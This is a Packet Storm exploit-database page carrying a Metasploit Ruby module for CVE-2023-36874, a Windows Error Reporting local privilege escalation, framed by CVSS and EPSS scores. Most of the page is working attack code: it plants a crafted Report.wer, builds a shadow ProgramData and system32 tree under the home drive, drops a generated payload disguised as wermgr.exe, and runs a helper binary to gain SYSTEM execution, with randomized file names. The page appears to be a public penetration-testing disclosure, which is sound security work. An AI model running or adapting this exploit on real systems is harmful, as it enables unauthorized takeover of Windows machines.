Lucene search

K
packetstormBwatters-r7, Filip Dragovic, Octoberfest7, metasploit.comPACKETSTORM:174843
HistorySep 27, 2023 - 12:00 a.m.

Microsoft Error Reporting Local Privilege Elevation

2023-09-2700:00:00
bwatters-r7, Filip Dragovic, Octoberfest7, metasploit.com
packetstormsecurity.com
191

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

4.3 Medium

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:L/AC:L/Au:S/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

24.5%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::Common  
include Msf::Post::File  
include Msf::Exploit::FileDropper  
include Msf::Post::Windows::Priv  
include Msf::Exploit::EXE  
  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft Error Reporting Local Privilege Elevation Vulnerability',  
'Description' => %q{  
This module takes advantage of a bug in the way Windows error reporting opens the report  
parser. If you open a report, Windows uses a relative path to locate the rendering program.  
By creating a specific alternate directory structure, we can coerce Windows into opening an  
arbitrary executable as SYSTEM.  
If the current user is a local admin, the system will attempt impersonation and the exploit will  
fail.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Filip Dragoviฤ‡ (Wh04m1001)', # PoC  
'Octoberfest7', # PoC  
'bwatters-r7' # msf module  
],  
'Platform' => ['win'],  
'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ],  
'Targets' => [  
[ 'Automatic', { 'Arch' => [ ARCH_X64 ] } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2023-07-11',  
'References' => [  
['CVE', '2023-36874'],  
['URL', 'https://www.crowdstrike.com/blog/falcon-complete-zero-day-exploit-cve-2023-36874/'],  
['URL', 'https://github.com/Wh04m1001/CVE-2023-36874'],  
['URL', 'https://github.com/Octoberfest7/CVE-2023-36874_BOF']  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ ARTIFACTS_ON_DISK ]  
},  
'Compat' => {  
'Meterpreter' => {  
'Commands' => %w[  
stdapi_fs_delete_file  
stdapi_sys_config_getenv  
]  
}  
}  
)  
)  
  
register_options([  
OptString.new('EXPLOIT_NAME',  
[true, 'The filename to use for the exploit binary (%RAND%.exe by default).', "#{Rex::Text.rand_text_alpha(6..14)}.exe"]),  
OptString.new('REPORT_DIR',  
[true, 'The Error Directory to use (%RAND% by default).', Rex::Text.rand_text_alpha(6..14).to_s]),  
OptString.new('SHADOW_DRIVE',  
[true, 'Directory to place in the home drive for pivot (%TEMP% by default).', Rex::Text.rand_text_alpha(6..14).to_s]),  
OptInt.new('EXECUTE_DELAY',  
[true, 'The number of seconds to delay between file upload and exploit launch', 3])  
])  
end  
  
# When we pass the directory value to the mkdir method, the mkdir method  
# passes the reference to the string containing the directory.  
# We do a lot of string manipulation in this module, so this is a quick  
# hack to make sure that despite what we do with the string after we create  
# the directory, it is the actual directory we created that gets sent to  
# the cleanup methods.  
def clone_mkdir(dir)  
mkdir(dir.clone)  
end  
  
def upload_error_report  
wer_archive_dir = get_env('PROGRAMDATA')  
vprint_status(wer_archive_dir)  
wer_archive_dir << '\\Microsoft\\Windows\\WER\\ReportArchive'  
report_dir = "#{wer_archive_dir}\\#{datastore['REPORT_DIR']}"  
report_filename = "#{report_dir}\\Report.wer"  
vprint_status("Creating #{report_dir}")  
clone_mkdir(report_dir)  
wer_report_data = exploit_data('CVE-2023-36874', 'Report.wer')  
vprint_status("Writing Report to #{report_filename}")  
write_file(report_filename, wer_report_data)  
end  
  
def build_shadow_archive_dir(shadow_base_dir)  
wer_archive_dir = shadow_base_dir  
clone_mkdir(wer_archive_dir)  
wer_archive_dir << '\\ProgramData\\'  
clone_mkdir(wer_archive_dir)  
wer_archive_dir << 'Microsoft\\'  
clone_mkdir(wer_archive_dir)  
wer_archive_dir << 'Windows\\'  
clone_mkdir(wer_archive_dir)  
wer_archive_dir << 'WER\\'  
clone_mkdir(wer_archive_dir)  
wer_archive_dir << 'ReportArchive\\'  
clone_mkdir(wer_archive_dir)  
report_dir = "#{wer_archive_dir}#{datastore['REPORT_DIR']}"  
clone_mkdir(report_dir)  
return report_dir  
end  
  
def upload_shadow_report(shadow_archive_dir)  
report_filename = "#{shadow_archive_dir}\\Report.wer"  
wer_report_data = exploit_data('CVE-2023-36874', 'Report.wer')  
vprint_status("Writing bad Report to #{report_filename}")  
write_file(report_filename, wer_report_data)  
end  
  
def build_shadow_system32(shadow_base_dir)  
shadow_win32 = "#{shadow_base_dir}\\system32"  
vprint_status("Creating #{shadow_win32}")  
clone_mkdir(shadow_win32)  
return shadow_win32  
end  
  
def upload_payload(shadow_win32)  
payload_bin = generate_payload_exe  
payload_filename = "#{shadow_win32}\\wermgr.exe"  
vprint_status("Writing payload to #{payload_filename}")  
write_file(payload_filename, payload_bin)  
end  
  
def upload_execute_exploit(exploit_path, shadow_path, home_dir)  
vprint_status("shadow_path = #{shadow_path}")  
exploit_bin = exploit_data('CVE-2023-36874', 'CVE-2023-36874.exe')  
write_file(exploit_path, exploit_bin)  
sleep datastore['EXECUTE_DELAY']  
vprint_status("Exploit uploaded to #{exploit_path}")  
cmd = "#{exploit_path} #{shadow_path} #{home_dir} #{datastore['REPORT_DIR']}"  
output = cmd_exec(cmd, nil, 30)  
vprint_status(output)  
end  
  
def check  
# This only appears to work on 22H2, but likely will work elsewhere if we figure out the function pointers.  
version = get_version_info  
vprint_status("OS version: #{version}")  
return Exploit::CheckCode::Appears if version.build_number == Msf::WindowsVersion::Win10_22H2  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
fail_with(Module::Failure::BadConfig, 'User cannot be local admin') if is_in_admin_group?  
fail_with(Module::Failure::BadConfig, 'Already SYSTEM') if is_system?  
shadow_dir = datastore['SHADOW_DRIVE']  
home_dir = get_env('HOMEDRIVE')  
shadow_path = "#{home_dir}\\#{shadow_dir}"  
vprint_status("Shadow Path = #{shadow_path}")  
upload_error_report  
shadow_archive_dir = build_shadow_archive_dir(shadow_path.dup)  
upload_shadow_report(shadow_archive_dir)  
shadow_system32 = build_shadow_system32(shadow_path.dup)  
upload_payload(shadow_system32)  
sleep datastore['EXECUTE_DELAY']  
exploit_path = "#{shadow_path}\\#{datastore['EXPLOIT_NAME']}"  
exploit_path << '.exe' unless exploit_path[-4..] == '.exe'  
if shadow_dir.length > 64  
fail_with(Module::Failure::BadConfig, 'REPORT_DIR value too long')  
end  
upload_execute_exploit(exploit_path, shadow_dir, home_dir)  
print_warning("Manual deletion of #{shadow_path} may be required")  
end  
end  
`

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

4.3 Medium

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:L/AC:L/Au:S/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

24.5%